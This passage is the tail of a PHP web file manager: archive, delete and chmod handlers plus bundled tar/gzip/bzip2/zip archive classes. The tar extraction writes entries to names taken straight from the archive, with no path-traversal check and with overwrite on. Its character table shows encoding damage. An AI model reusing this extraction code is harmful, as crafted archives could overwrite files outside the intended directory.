4487 ini_set("max_execution_time",0);
4488 $zipfile=false;
4489 if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
4490 elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
4491 elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
4492 elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
4493 if ($zipfile){
4494 $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3));
4495 if (strlen($selected_file_list)){
4496 $selected_file_list = explode("<|*|>",$selected_file_list);
4497 if (count($selected_file_list)) {
4498 for($x=0;$x<count($selected_file_list);$x++) {
4499 $selected_file_list[$x] = trim($selected_file_list[$x]);
4500 if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
4501 }
4502 }
4503 }
4504 if (strlen($selected_dir_list)){
4505 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4506 if (count($selected_dir_list)) {
4507 for($x=0;$x<count($selected_dir_list);$x++) {
4508 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4509 if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
4510 }
4511 }
4512 }
4513 $zipfile->create_archive();
4514 }
4515 unset($zipfile);
4516 }
4517 break;
4518 case 72: // decompress arq
4519 if (strlen($cmd_arg)){
4520 if (file_exists($current_dir.$cmd_arg)){
4521 $zipfile=false;
4522 if (strstr($cmd_arg,".zip")) zip_extract();
4523 elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
4524 elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
4525 elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
4526 if ($zipfile){
4527 $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1));
4528 $zipfile->extract_files();
4529 }
4530 unset($zipfile);
4531 reloadframe("parent",2);
4532 }
4533 }
4534 break;
4535 case 8: // delete arq/dir
4536 if (strlen($cmd_arg)){
4537 if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg);
4538 if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2);
4539 }
4540 break;
4541 case 9: // CHMOD
4542 if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){
4543 if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
4544 else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
4545 $new_mod = octdec($chmod_arg);
4546 if (strlen($selected_file_list)){
4547 $selected_file_list = explode("<|*|>",$selected_file_list);
4548 if (count($selected_file_list)) {
4549 for($x=0;$x<count($selected_file_list);$x++) {
4550 $selected_file_list[$x] = trim($selected_file_list[$x]);
4551 if (strlen($selected_file_list[$x])) @chmod($current_dir.$selected_file_list[$x],$new_mod);
4552 }
4553 }
4554 }
4555 if (strlen($selected_dir_list)){
4556 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4557 if (count($selected_dir_list)) {
4558 for($x=0;$x<count($selected_dir_list);$x++) {
4559 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4560 if (strlen($selected_dir_list[$x])) @chmod($current_dir.$selected_dir_list[$x],$new_mod);
4561 }
4562 }
4563 }
4564 }
4565 break;
4566 }
4567 if ($action != 10) dir_list_form();
4568 } else dir_list_form();
4569 echo "</body>\n</html>";
4570}
4571function frame2(){
4572 global $expanded_dir_list,$ec_dir;
4573 if (!isset($expanded_dir_list)) $expanded_dir_list = "";
4574 if (strlen($ec_dir)){
4575 if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
4576 else $expanded_dir_list .= ":".$ec_dir;
4577 setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
4578 }
4579 show_tree();
4580}
4581function frameset(){
4582 global $path_info,$leftFrameWidth;
4583 if (!isset($leftFrameWidth)) $leftFrameWidth = 300;
4584 html_header();
4585 echo "
4586 <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\">
4587 <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\">
4588 <frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\">
4589 <frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4590 </frameset>
4591 <frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4592 </frameset>
4593 </html>";
4594}
4595// +--------------------------------------------------
4596// | Open Source Contributions
4597// +--------------------------------------------------
4598 /*-------------------------------------------------
4599 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
4600 | By Devin Doucette
4601 | Copyright (c) 2004 Devin Doucette
4602 | Email: darksnoopy@shaw.ca
4603 +--------------------------------------------------
4604 | Email bugs/suggestions to darksnoopy@shaw.ca
4605 +--------------------------------------------------
4606 | This script has been created and released under
4607 | the GNU GPL and is free to use and redistribute
4608 | only if this copyright statement is not removed
4609 +--------------------------------------------------
4610 | Limitations:
4611 | - Only USTAR archives are officially supported for extraction, but others may work.
4612 | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have
4613 | been compressed by either bzip2 or gzip. For greater support, use the functions
4614 | bzopen and gzopen respectively for bzip2 and gzip extraction.
4615 | - Zip extraction is not supported due to the wide variety of algorithms that may be
4616 | used for compression and newer features such as encryption.
4617 +--------------------------------------------------
4618 */
4619class archive
4620{
4621 function archive($name)
4622 {
4623 $this->options = array(
4624 'basedir'=>".",
4625 'name'=>$name,
4626 'prepend'=>"",
4627 'inmemory'=>0,
4628 'overwrite'=>0,
4629 'recurse'=>1,
4630 'storepaths'=>1,
4631 'level'=>3,
4632 'method'=>1,
4633 'sfx'=>"",
4634 'type'=>"",
4635 'comment'=>""
4636 );
4637 $this->files = array();
4638 $this->exclude = array();
4639 $this->storeonly = array();
4640 $this->error = array();
4641 }
4642
4643 function set_options($options)
4644 {
4645 foreach($options as $key => $value)
4646 {
4647 $this->options[$key] = $value;
4648 }
4649 if(!empty($this->options['basedir']))
4650 {
4651 $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);
4652 $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
4653 $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
4654 }
4655 if(!empty($this->options['name']))
4656 {
4657 $this->options['name'] = str_replace("\\","/",$this->options['name']);
4658 $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
4659 }
4660 if(!empty($this->options['prepend']))
4661 {
4662 $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);
4663 $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
4664 $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
4665 $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
4666 }
4667 }
4668
4669 function create_archive()
4670 {
4671 $this->make_list();
4672
4673 if($this->options['inmemory'] == 0)
4674 {
4675 $Pwd = getcwd();
4676 chdir($this->options['basedir']);
4677 if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
4678 {
4679 $this->error[] = "File {$this->options['name']} already exists.";
4680 chdir($Pwd);
4681 return 0;
4682 }
4683 else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
4684 {
4685 chdir($Pwd);
4686 }
4687 else
4688 {
4689 $this->error[] = "Could not open {$this->options['name']} for writing.";
4690 chdir($Pwd);
4691 return 0;
4692 }
4693 }
4694 else
4695 {
4696 $this->archive = "";
4697 }
4698
4699 switch($this->options['type'])
4700 {
4701 case "zip":
4702 if(!$this->create_zip())
4703 {
4704 $this->error[] = "Could not create zip file.";
4705 return 0;
4706 }
4707 break;
4708 case "bzip":
4709 if(!$this->create_tar())
4710 {
4711 $this->error[] = "Could not create tar file.";
4712 return 0;
4713 }
4714 if(!$this->create_bzip())
4715 {
4716 $this->error[] = "Could not create bzip2 file.";
4717 return 0;
4718 }
4719 break;
4720 case "gzip":
4721 if(!$this->create_tar())
4722 {
4723 $this->error[] = "Could not create tar file.";
4724 return 0;
4725 }
4726 if(!$this->create_gzip())
4727 {
4728 $this->error[] = "Could not create gzip file.";
4729 return 0;
4730 }
4731 break;
4732 case "tar":
4733 if(!$this->create_tar())
4734 {
4735 $this->error[] = "Could not create tar file.";
4736 return 0;
4737 }
4738 }
4739
4740 if($this->options['inmemory'] == 0)
4741 {
4742 fclose($this->archive);
4743 @chmod($this->options['name'],0644);
4744 if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
4745 {
4746 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
4747 }
4748 }
4749 }
4750
4751 function add_data($data)
4752 {
4753 if($this->options['inmemory'] == 0)
4754 {
4755 fwrite($this->archive,$data);
4756 }
4757 else
4758 {
4759 $this->archive .= $data;
4760 }
4761 }
4762
4763 function make_list()
4764 {
4765 if(!empty($this->exclude))
4766 {
4767 foreach($this->files as $key => $value)
4768 {
4769 foreach($this->exclude as $current)
4770 {
4771 if($value['name'] == $current['name'])
4772 {
4773 unset($this->files[$key]);
4774 }
4775 }
4776 }
4777 }
4778 if(!empty($this->storeonly))
4779 {
4780 foreach($this->files as $key => $value)
4781 {
4782 foreach($this->storeonly as $current)
4783 {
4784 if($value['name'] == $current['name'])
4785 {
4786 $this->files[$key]['method'] = 0;
4787 }
4788 }
4789 }
4790 }
4791 unset($this->exclude,$this->storeonly);
4792 }
4793
4794
4795 function add_files($list)
4796 {
4797 $temp = $this->list_files($list);
4798 foreach($temp as $current)
4799 {
4800 $this->files[] = $current;
4801 }
4802 }
4803
4804 function exclude_files($list)
4805 {
4806 $temp = $this->list_files($list);
4807 foreach($temp as $current)
4808 {
4809 $this->exclude[] = $current;
4810 }
4811 }
4812
4813 function store_files($list)
4814 {
4815 $temp = $this->list_files($list);
4816 foreach($temp as $current)
4817 {
4818 $this->storeonly[] = $current;
4819 }
4820 }
4821
4822 function list_files($list)
4823 {
4824 if(!is_array($list))
4825 {
4826 $temp = $list;
4827 $list = array($temp);
4828 unset($temp);
4829 }
4830
4831 $files = array();
4832
4833 $Pwd = getcwd();
4834 chdir($this->options['basedir']);
4835
4836 foreach($list as $current)
4837 {
4838 $current = str_replace("\\","/",$current);
4839 $current = preg_replace("/\/+/","/",$current);
4840 $current = preg_replace("/\/$/","",$current);
4841 if(strstr($current,"*"))
4842 {
4843 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current);
4844 $regex = str_replace("*",".*",$regex);
4845 $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
4846 $temp = $this->parse_dir($dir);
4847 foreach($temp as $current2)
4848 {
4849 if(preg_match("/^{$regex}$/i",$current2['name']))
4850 {
4851 $files[] = $current2;
4852 }
4853 }
4854 unset($regex,$dir,$temp,$current);
4855 }
4856 else if(@is_dir($current))
4857 {
4858 $temp = $this->parse_dir($current);
4859 foreach($temp as $file)
4860 {
4861 $files[] = $file;
4862 }
4863 unset($temp,$file);
4864 }
4865 else if(@file_exists($current))
4866 {
4867 $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
4868 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
4869 substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
4870 'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
4871 }
4872 }
4873
4874 chdir($Pwd);
4875
4876 unset($current,$Pwd);
4877
4878 usort($files,array("archive","sort_files"));
4879
4880 return $files;
4881 }
4882
4883 function parse_dir($dirname)
4884 {
4885 if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
4886 {
4887 $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
4888 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
4889 substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
4890 }
4891 else
4892 {
4893 $files = array();
4894 }
4895 $dir = @opendir($dirname);
4896
4897 while($file = @readdir($dir))
4898 {
4899 if($file == "." || $file == "..")
4900 {
4901 continue;
4902 }
4903 else if(@is_dir($dirname."/".$file))
4904 {
4905 if(empty($this->options['recurse']))
4906 {
4907 continue;
4908 }
4909 $temp = $this->parse_dir($dirname."/".$file);
4910 foreach($temp as $file2)
4911 {
4912 $files[] = $file2;
4913 }
4914 }
4915 else if(@file_exists($dirname."/".$file))
4916 {
4917 $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
4918 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
4919 substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
4920 'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
4921 }
4922 }
4923
4924 @closedir($dir);
4925
4926 return $files;
4927 }
4928
4929 function sort_files($a,$b)
4930 {
4931 if($a['type'] != $b['type'])
4932 {
4933 return $a['type'] > $b['type']? -1 : 1;
4934 }
4935 else if($a['type'] == 5)
4936 {
4937 return strcmp(strtolower($a['name']),strtolower($b['name']));
4938 }
4939 else
4940 {
4941 if($a['ext'] != $b['ext'])
4942 {
4943 return strcmp($a['ext'],$b['ext']);
4944 }
4945 else if($a['stat'][7] != $b['stat'][7])
4946 {
4947 return $a['stat'][7] > $b['stat'][7]? -1 : 1;
4948 }
4949 else
4950 {
4951 return strcmp(strtolower($a['name']),strtolower($b['name']));
4952 }
4953 }
4954 return 0;
4955 }
4956
4957 function download_file()
4958 {
4959 if($this->options['inmemory'] == 0)
4960 {
4961 $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
4962 return;
4963 }
4964 switch($this->options['type'])
4965 {
4966 case "zip":
4967 header("Content-type:application/zip");
4968 break;
4969 case "bzip":
4970 header("Content-type:application/x-compressed");
4971 break;
4972 case "gzip":
4973 header("Content-type:application/x-compressed");
4974 break;
4975 case "tar":
4976 header("Content-type:application/x-tar");
4977 }
4978 $header = "Content-disposition: attachment; filename=\"";
4979 $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
4980 $header .= "\"";
4981 header($header);
4982 header("Content-length: " . strlen($this->archive));
4983 header("Content-transfer-encoding: binary");
4984 header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
4985 header("Pragma: no-cache");
4986 header("Expires: 0");
4987 print($this->archive);
4988 }
4989}
4990
4991class tar_file extends archive
4992{
4993 function tar_file($name)
4994 {
4995 $this->archive($name);
4996 $this->options['type'] = "tar";
4997 }
4998
4999 function create_tar()
5000 {
5001 $Pwd = getcwd();
5002 chdir($this->options['basedir']);
5003
5004 foreach($this->files as $current)
5005 {
5006 if($current['name'] == $this->options['name'])
5007 {
5008 continue;
5009 }
5010 if(strlen($current['name2']) > 99)
5011 {
5012 $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
5013 $current['name2'] = substr($current['name2'],strlen($Path));
5014 if(strlen($Path) > 154 || strlen($current['name2']) > 99)
5015 {
5016 $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long.";
5017 continue;
5018 }
5019 }
5020 $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
5021 sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
5022 sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
5023 " ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "","");
5024
5025 $checksum = 0;
5026 for($i = 0; $i < 512; $i++)
5027 {
5028 $checksum += ord(substr($block,$i,1));
5029 }
5030 $checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
5031 $block = substr_replace($block,$checksum,148,8);
5032
5033 if($current['stat'][7] == 0)
5034 {
5035 $this->add_data($block);
5036 }
5037 else if($fp = @fopen($current['name'],"rb"))
5038 {
5039 $this->add_data($block);
5040 while($temp = fread($fp,1048576))
5041 {
5042 $this->add_data($temp);
5043 }
5044 if($current['stat'][7] % 512 > 0)
5045 {
5046 $temp = "";
5047 for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
5048 {
5049 $temp .= "\0";
5050 }
5051 $this->add_data($temp);
5052 }
5053 fclose($fp);
5054 }
5055 else
5056 {
5057 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
5058 }
5059 }
5060
5061 $this->add_data(pack("a512",""));
5062
5063 chdir($Pwd);
5064
5065 return 1;
5066
5067 }
5068
5069 function extract_files()
5070 {
5071 $Pwd = getcwd();
5072 chdir($this->options['basedir']);
5073
5074 if($fp = $this->open_archive())
5075 {
5076 if($this->options['inmemory'] == 1)
5077 {
5078 $this->files = array();
5079 }
5080
5081 while($block = fread($fp,512))
5082 {
5083 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
5084 $file = array(
5085 'name'=>$temp['prefix'] . $temp['name'],
5086 'stat'=>array(
5087 2=>$temp['mode'],
5088 4=>octdec($temp['uid']),
5089 5=>octdec($temp['gid']),
5090 7=>octdec($temp['size']),
5091 9=>octdec($temp['mtime']),
5092 ),
5093 'checksum'=>octdec($temp['checksum']),
5094 'type'=>$temp['type'],
5095 'magic'=>$temp['magic'],
5096 );
5097 if($file['checksum'] == 0x00000000)
5098 {
5099 break;
5100 }
5101 else if($file['magic'] != "ustar")
5102 {
5103 $this->error[] = "This script does not support extracting this type of tar file.";
5104 break;
5105 }
5106 $block = substr_replace($block," ",148,8);
5107 $checksum = 0;
5108 for($i = 0; $i < 512; $i++)
5109 {
5110 $checksum += ord(substr($block,$i,1));
5111 }
5112 if($file['checksum'] != $checksum)
5113 {
5114 $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
5115 }
5116
5117 if($this->options['inmemory'] == 1)
5118 {
5119 $file['data'] = fread($fp,$file['stat'][7]);
5120 fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
5121 unset($file['checksum'],$file['magic']);
5122 $this->files[] = $file;
5123 }
5124 else
5125 {
5126 if($file['type'] == 5)
5127 {
5128 if(!is_dir($file['name']))
5129 {
5130 mkdir($file['name'],0755);
5131 //mkdir($file['name'],$file['stat'][2]);
5132 //chown($file['name'],$file['stat'][4]);
5133 //chgrp($file['name'],$file['stat'][5]);
5134 }
5135 }
5136 else if($this->options['overwrite'] == 0 && file_exists($file['name']))
5137 {
5138 $this->error[] = "{$file['name']} already exists.";
5139 }
5140 else if($new = @fopen($file['name'],"wb"))
5141 {
5142 fwrite($new,fread($fp,$file['stat'][7]));
5143 fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
5144 fclose($new);
5145 @chmod($file['name'],0644);
5146 //chmod($file['name'],$file['stat'][2]);
5147 //chown($file['name'],$file['stat'][4]);
5148 //chgrp($file['name'],$file['stat'][5]);
5149 }
5150 else
5151 {
5152 $this->error[] = "Could not open {$file['name']} for writing.";
5153 }
5154 }
5155 unset($file);
5156 }
5157 }
5158 else
5159 {
5160 $this->error[] = "Could not open file {$this->options['name']}";
5161 }
5162
5163 chdir($Pwd);
5164 }
5165
5166 function open_archive()
5167 {
5168 return @fopen($this->options['name'],"rb");
5169 }
5170}
5171
5172class gzip_file extends tar_file
5173{
5174 function gzip_file($name)
5175 {
5176 $this->tar_file($name);
5177 $this->options['type'] = "gzip";
5178 }
5179
5180 function create_gzip()
5181 {
5182 if($this->options['inmemory'] == 0)
5183 {
5184 $Pwd = getcwd();
5185 chdir($this->options['basedir']);
5186 if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
5187 {
5188 fseek($this->archive,0);
5189 while($temp = fread($this->archive,1048576))
5190 {
5191 gzwrite($fp,$temp);
5192 }
5193 gzclose($fp);
5194 chdir($Pwd);
5195 }
5196 else
5197 {
5198 $this->error[] = "Could not open {$this->options['name']} for writing.";
5199 chdir($Pwd);
5200 return 0;
5201 }
5202 }
5203 else
5204 {
5205 $this->archive = gzencode($this->archive,$this->options['level']);
5206 }
5207
5208 return 1;
5209 }
5210
5211 function open_archive()
5212 {
5213 return @gzopen($this->options['name'],"rb");
5214 }
5215}
5216
5217class bzip_file extends tar_file
5218{
5219 function bzip_file($name)
5220 {
5221 $this->tar_file($name);
5222 $this->options['type'] = "bzip";
5223 }
5224
5225 function create_bzip()
5226 {
5227 if($this->options['inmemory'] == 0)
5228 {
5229 $Pwd = getcwd();
5230 chdir($this->options['basedir']);
5231 if($fp = bzopen($this->options['name'],"wb"))
5232 {
5233 fseek($this->archive,0);
5234 while($temp = fread($this->archive,1048576))
5235 {
5236 bzwrite($fp,$temp);
5237 }
5238 bzclose($fp);
5239 chdir($Pwd);
5240 }
5241 else
5242 {
5243 $this->error[] = "Could not open {$this->options['name']} for writing.";
5244 chdir($Pwd);
5245 return 0;
5246 }
5247 }
5248 else
5249 {
5250 $this->archive = bzcompress($this->archive,$this->options['level']);
5251 }
5252
5253 return 1;
5254 }
5255
5256 function open_archive()
5257 {
5258 return @bzopen($this->options['name'],"rb");
5259 }
5260}
5261
5262class zip_file extends archive
5263{
5264 function zip_file($name)
5265 {
5266 $this->archive($name);
5267 $this->options['type'] = "zip";
5268 }
5269
5270 function create_zip()
5271 {
5272 $files = 0;
5273 $offset = 0;
5274 $central = "";
5275
5276 if(!empty($this->options['sfx']))
5277 {
5278 if($fp = @fopen($this->options['sfx'],"rb"))
5279 {
5280 $temp = fread($fp,filesize($this->options['sfx']));
5281 fclose($fp);
5282 $this->add_data($temp);
5283 $offset += strlen($temp);
5284 unset($temp);
5285 }
5286 else
5287 {
5288 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
5289 }
5290 }
5291
5292 $Pwd = getcwd();
5293 chdir($this->options['basedir']);
5294
5295 foreach($this->files as $current)
5296 {
5297 if($current['name'] == $this->options['name'])
5298 {
5299 continue;
5300 }
5301 $translate = array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132),
5302 'à '=>pack("C",133),'å'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137),
5303 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142),
5304 'Å'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147),
5305 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152),
5306 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'¥'=>pack("C",157),'_'=>pack("C",158),
5307 'Æ’'=>pack("C",159),'á'=>pack("C",160),'Ã'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163),
5308 'ñ'=>pack("C",164),'Ñ'=>pack("C",165));
5309 $current['name2'] = strtr($current['name2'],$translate);
5310
5311 $timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
5312 $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
5313 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
5314
5315 $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);
5316
5317 if($current['stat'][7] == 0 && $current['type'] == 5)
5318 {
5319 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
5320 $block .= $current['name2'] . "/";
5321 $this->add_data($block);
5322 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5323 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5324 0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
5325 $central .= $current['name2'] . "/";
5326 $files++;
5327 $offset += (31 + strlen($current['name2']));
5328 }
5329 else if($current['stat'][7] == 0)
5330 {
5331 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
5332 $block .= $current['name2'];
5333 $this->add_data($block);
5334 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5335 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5336 0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
5337 $central .= $current['name2'];
5338 $files++;
5339 $offset += (30 + strlen($current['name2']));
5340 }
5341 else if($fp = @fopen($current['name'],"rb"))
5342 {
5343 $temp = fread($fp,$current['stat'][7]);
5344 fclose($fp);
5345 $crc32 = crc32($temp);
5346 if(!isset($current['method']) && $this->options['method'] == 1)
5347 {
5348 $temp = gzcompress($temp,$this->options['level']);
5349 $size = strlen($temp) - 6;
5350 $temp = substr($temp,2,$size);
5351 }
5352 else
5353 {
5354 $size = strlen($temp);
5355 }
5356 $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
5357 $block .= $current['name2'];
5358 $this->add_data($block);
5359 $this->add_data($temp);
5360 unset($temp);
5361 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5362 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5363 $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
5364 $central .= $current['name2'];
5365 $files++;
5366 $offset += (30 + strlen($current['name2']) + $size);
5367 }
5368 else
5369 {
5370 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
5371 }
5372 }
5373
5374 $this->add_data($central);
5375
5376 $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
5377 !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));
5378
5379 if(!empty($this->options['comment']))
5380 {
5381 $this->add_data($this->options['comment']);
5382 }
5383
5384 chdir($Pwd);
5385
5386 return 1;
5387 }
5388}
5389// +--------------------------------------------------
5390// | THE END
5391// +--------------------------------------------------
5392?>